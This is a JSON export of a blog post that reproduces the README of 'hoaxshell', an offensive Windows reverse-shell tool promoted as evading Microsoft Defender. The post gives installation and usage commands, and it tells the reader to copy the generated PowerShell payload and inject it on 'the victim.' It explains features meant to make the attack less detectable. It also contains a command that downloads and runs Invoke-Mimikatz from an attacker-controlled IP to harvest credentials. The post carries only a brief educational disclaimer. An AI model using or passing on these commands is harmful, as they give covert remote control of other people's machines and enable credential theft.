{"id":666,"date":"2022-09-03T11:03:25","date_gmt":"2022-09-03T11:03:25","guid":{"rendered":"https:\/\/cybersecuritynest.com\/?p=666"},"modified":"2022-09-03T11:03:25","modified_gmt":"2022-09-03T11:03:25","slug":"hoaxshell-windows-reverse-shell-currently-undetected-by-microsoft-defender-and-various-other-av-solutions-solely-based-on-https-traffic","status":"publish","type":"post","link":"https:\/\/cybersecuritynest.com\/?p=666","title":{"rendered":"Hoaxshell: Windows reverse shell, currently undetected by Microsoft Defender and various other AV solutions, solely based on http(s) traffic."},"content":{"rendered":"<aside class=\"mashsb-container mashsb-main mashsb-stretched\"><div class=\"mashsb-box\"><div class=\"mashsb-buttons\"><a class=\"mashicon-facebook mash-large mash-center mashsb-noshadow\" href=\"https:\/\/www.facebook.com\/sharer.php?u=https%3A%2F%2Fcybersecuritynest.com%2F%3Fp%3D666\" target=\"_top\" rel=\"nofollow\"><span class=\"icon\"><\/span><span class=\"text\">Share&nbsp;on&nbsp;Facebook<\/span><\/a><a class=\"mashicon-twitter mash-large mash-center mashsb-noshadow\" href=\"https:\/\/twitter.com\/intent\/tweet?text=&amp;url=https:\/\/cybersecuritynest.com\/?p=666&amp;via=CYBERSECNEST\" target=\"_top\" rel=\"nofollow\"><span class=\"icon\"><\/span><span class=\"text\">Tweet&nbsp;on&nbsp;Twitter<\/span><\/a><a class=\"mashicon-subscribe mash-large mash-center mashsb-noshadow\" href=\"#\" target=\"_top\" rel=\"nofollow\"><span class=\"icon\"><\/span><span class=\"text\">Subscribe&nbsp;to&nbsp;Newsletter<\/span><\/a><div class=\"onoffswitch2 mash-large mashsb-noshadow\" style=\"display:none\"><\/div><\/div>\n            <\/div>\n                <div style=\"clear:both\"><\/div><\/aside>\n            <!-- Share buttons by mashshare.net - Version: 4.0.47--><h2 dir=\"auto\"><\/h2>\n<blockquote class=\"wp-embedded-content\" data-secret=\"T25poDSfMg\"><p><a href=\"https:\/\/cybersecuritynest.com\/?page_id=535\">Disclaimer<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Disclaimer&#8221; &#8212; Cyber Security Nest\" src=\"https:\/\/cybersecuritynest.com\/?page_id=535&#038;embed=true#?secret=pnewqMf6eP#?secret=T25poDSfMg\" data-secret=\"T25poDSfMg\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n<h2 dir=\"auto\">Purpose<\/h2>\n<p dir=\"auto\">hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it&#8217;s own PowerShell payload and it supports encryption (ssl).<\/p>\n<p dir=\"auto\">So far, it has been tested on fully updated\u00a0<strong>Windows 11 Enterprise<\/strong>\u00a0and\u00a0<strong>Windows 10 Pro<\/strong>\u00a0boxes (see video and screenshots).<\/p>\n<p dir=\"auto\"><strong>Disclaimer<\/strong>: Purely made for testing and educational purposes. Hopefully, countermeasures will be implemented to improve security against similar attacks.<\/p>\n<h3 dir=\"auto\"><a id=\"user-content-video-presentation\" class=\"anchor\" href=\"https:\/\/github.com\/t3l3machus\/hoaxshell#video-presentation\" aria-hidden=\"true\"><\/a>Video Presentation<\/h3>\n<p dir=\"auto\"><a href=\"https:\/\/www.youtube.com\/watch?v=SEufgD5UxdU\" rel=\"nofollow\">https:\/\/www.youtube.com\/watch?v=SEufgD5UxdU<\/a><\/p>\n<h2 dir=\"auto\"><a id=\"user-content-screenshots\" class=\"anchor\" href=\"https:\/\/github.com\/t3l3machus\/hoaxshell#screenshots\" aria-hidden=\"true\"><\/a>Screenshots<\/h2>\n<p dir=\"auto\"><a href=\"https:\/\/camo.githubusercontent.com\/05bcd11f17e4aaebb754221364f910a1821f2f1b5e6cc3a118dff1ec89a4ea70\/68747470733a2f2f7261772e6769746875622e636f6d2f74336c336d61636875732f686f61787368656c6c2f6d61737465722f73637265656e73686f74732f686f61787368656c6c2d77696e31312d76322e706e67\" target=\"_blank\" rel=\"noopener noreferrer nofollow\"><img decoding=\"async\" src=\"https:\/\/camo.githubusercontent.com\/05bcd11f17e4aaebb754221364f910a1821f2f1b5e6cc3a118dff1ec89a4ea70\/68747470733a2f2f7261772e6769746875622e636f6d2f74336c336d61636875732f686f61787368656c6c2f6d61737465722f73637265656e73686f74732f686f61787368656c6c2d77696e31312d76322e706e67\" alt=\"usage_example_png\" data-canonical-src=\"https:\/\/raw.github.com\/t3l3machus\/hoaxshell\/master\/screenshots\/hoaxshell-win11-v2.png\" \/><\/a><\/p>\n<p dir=\"auto\">Find more screenshots\u00a0<a href=\"https:\/\/github.com\/t3l3machus\/hoaxshell\/blob\/main\/screenshots\">here<\/a>.<\/p>\n<h2 dir=\"auto\"><a id=\"user-content-installation\" class=\"anchor\" href=\"https:\/\/github.com\/t3l3machus\/hoaxshell#installation\" aria-hidden=\"true\"><\/a>Installation<\/h2>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\">\n<pre class=\"notranslate\"><code>git clone https:\/\/github.com\/t3l3machus\/hoaxshell\r\ncd .\/hoaxshell\r\nsudo pip3 install -r requirements.txt\r\nchmod +x hoaxshell.py\r\n<\/code><\/pre>\n<\/div>\n<h2 dir=\"auto\"><a id=\"user-content-usage\" class=\"anchor\" href=\"https:\/\/github.com\/t3l3machus\/hoaxshell#usage\" aria-hidden=\"true\"><\/a>Usage<\/h2>\n<p dir=\"auto\"><strong>Important<\/strong>: As a means of avoiding detection, hoaxshell is automatically generating random values for the session id, URL paths and name of a custom http header utilized in the process, every time the script is started. The generated payload will work only for the instance it was generated for. Use the\u00a0<code>-g<\/code>\u00a0option to bypass this behaviour and re-establish an active session or reuse a past generated payload with a new instance of hoaxshell.<\/p>\n<h4 dir=\"auto\"><a id=\"user-content-basic-shell-session-over-http\" class=\"anchor\" href=\"https:\/\/github.com\/t3l3machus\/hoaxshell#basic-shell-session-over-http\" aria-hidden=\"true\"><\/a>Basic shell session over http<\/h4>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\">\n<pre class=\"notranslate\"><code>sudo python3 hoaxshell.py -s &lt;your_ip&gt;\r\n<\/code><\/pre>\n<\/div>\n<p dir=\"auto\">When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the &#8220;rawpayload&#8221; prompt command or start hoaxshell with the\u00a0<code>-r<\/code>\u00a0argument. After the payload has been executed on the victim, you&#8217;ll be able to run PowerShell commands against it.<\/p>\n<h4 dir=\"auto\"><a id=\"user-content-encrypted-shell-session-https\" class=\"anchor\" href=\"https:\/\/github.com\/t3l3machus\/hoaxshell#encrypted-shell-session-https\" aria-hidden=\"true\"><\/a>Encrypted shell session (https):<\/h4>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\">\n<pre class=\"notranslate\"><code># Generate self-signed certificate:\r\nopenssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365\r\n\r\n# Pass the cert.pem and key.pem as arguments:\r\nsudo python3 hoaxshell.py -s &lt;your_ip&gt; -c &lt;\/path\/to\/cert.pem&gt; -k &lt;path\/to\/key.pem&gt;\r\n\r\n<\/code><\/pre>\n<\/div>\n<p dir=\"auto\">The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation.<\/p>\n<h4 dir=\"auto\"><a id=\"user-content-grab-session-mode\" class=\"anchor\" href=\"https:\/\/github.com\/t3l3machus\/hoaxshell#grab-session-mode\" aria-hidden=\"true\"><\/a>Grab session mode<\/h4>\n<p dir=\"auto\">In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine.<\/p>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\">\n<pre class=\"notranslate\"><code>sudo python3 hoaxshell.py -s &lt;your_ip&gt; -g\r\n<\/code><\/pre>\n<\/div>\n<p dir=\"auto\"><strong>Important<\/strong>: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http\/https, port, etc).<\/p>\n<h2 dir=\"auto\"><a id=\"user-content-limitations\" class=\"anchor\" href=\"https:\/\/github.com\/t3l3machus\/hoaxshell#limitations\" aria-hidden=\"true\"><\/a>Limitations<\/h2>\n<p dir=\"auto\">The shell is going to hang if you execute a command that initiates an interactive session. Example:<\/p>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\">\n<pre class=\"notranslate\"><code># this command will execute succesfully and you will have no problem: \r\n&gt; powershell echo 'This is a test'\r\n\r\n# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:\r\n&gt; powershell\r\n\r\n# In the same manner, you won't have a problem executing this:\r\n&gt; cmd \/c dir \/a\r\n\r\n# But this will cause your hoaxshell to hang:\r\n&gt; cmd.exe\r\n<\/code><\/pre>\n<\/div>\n<p dir=\"auto\">So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands:<\/p>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\">\n<pre class=\"notranslate\"><code>hoaxshell &gt; IEX(New-Object Net.WebClient).DownloadString('http:\/\/192.168.0.13:4443\/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '\"PRIVILEGE::Debug\"'\r\n<\/code><\/pre>\n<\/div>\n<p dir=\"auto\">Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context.<\/p>\n<h2 dir=\"auto\"><a id=\"user-content-news\" class=\"anchor\" href=\"https:\/\/github.com\/t3l3machus\/hoaxshell#news\" aria-hidden=\"true\"><\/a>News<\/h2>\n<p dir=\"auto\"><code>31\/08\/2022<\/code>\u00a0&#8211; Added the\u00a0<code>-i<\/code>\u00a0option that generates the PS payload adjusted to use &#8220;Invoke-RestMethod&#8217; instead of &#8216;Invoke-WebRequest&#8217; utility, so now the user can choose (thanks to this\u00a0<a href=\"https:\/\/github.com\/t3l3machus\/hoaxshell\/issues\/8\" data-hovercard-type=\"issue\" data-hovercard-url=\"\/t3l3machus\/hoaxshell\/issues\/8\/hovercard\">issue<\/a>). I also fixed a bug that existed in the prompt (it sometimes messed the path).<br \/>\n<code>01\/09\/2022<\/code>\u00a0&#8211; Added the\u00a0<code>-H<\/code>\u00a0option which allows users to give a custom name to the (random by default) header utilized in the attack process, carring the shell&#8217;s session id. This makes the attack less detectable e.g. by using a standard header name e.g. &#8220;Authorization&#8221;.<\/p>\n<aside class=\"mashsb-container mashsb-main mashsb-stretched\"><div class=\"mashsb-box\"><div class=\"mashsb-buttons\"><a class=\"mashicon-facebook mash-large mash-center mashsb-noshadow\" href=\"https:\/\/www.facebook.com\/sharer.php?u=https%3A%2F%2Fcybersecuritynest.com%2F%3Fp%3D666\" target=\"_top\" rel=\"nofollow\"><span class=\"icon\"><\/span><span class=\"text\">Share&nbsp;on&nbsp;Facebook<\/span><\/a><a class=\"mashicon-twitter mash-large mash-center mashsb-noshadow\" href=\"https:\/\/twitter.com\/intent\/tweet?text=&amp;url=https:\/\/cybersecuritynest.com\/?p=666&amp;via=CYBERSECNEST\" target=\"_top\" rel=\"nofollow\"><span class=\"icon\"><\/span><span class=\"text\">Tweet&nbsp;on&nbsp;Twitter<\/span><\/a><a class=\"mashicon-subscribe mash-large mash-center mashsb-noshadow\" href=\"#\" target=\"_top\" rel=\"nofollow\"><span class=\"icon\"><\/span><span class=\"text\">Subscribe&nbsp;to&nbsp;Newsletter<\/span><\/a><div class=\"onoffswitch2 mash-large mashsb-noshadow\" style=\"display:none\"><\/div><\/div>\n            <\/div>\n                <div style=\"clear:both\"><\/div><\/aside>\n            <!-- Share buttons by mashshare.net - Version: 4.0.47-->","protected":false},"excerpt":{"rendered":"<p>Purpose hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it&#8217;s own PowerShell payload and it supports encryption (ssl). So far, it has been tested on fully updated\u00a0Windows 11 Enterprise\u00a0and\u00a0Windows 10 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":667,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":"","_links_to":"","_links_to_target":""},"categories":[8,1],"tags":[],"class_list":["post-666","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ethical-hacking","category-os"],"aioseo_notices":[],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=\/wp\/v2\/posts\/666"}],"collection":[{"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=666"}],"version-history":[{"count":1,"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=\/wp\/v2\/posts\/666\/revisions"}],"predecessor-version":[{"id":668,"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=\/wp\/v2\/posts\/666\/revisions\/668"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=\/wp\/v2\/media\/667"}],"wp:attachment":[{"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=666"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=666"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecuritynest.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=666"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}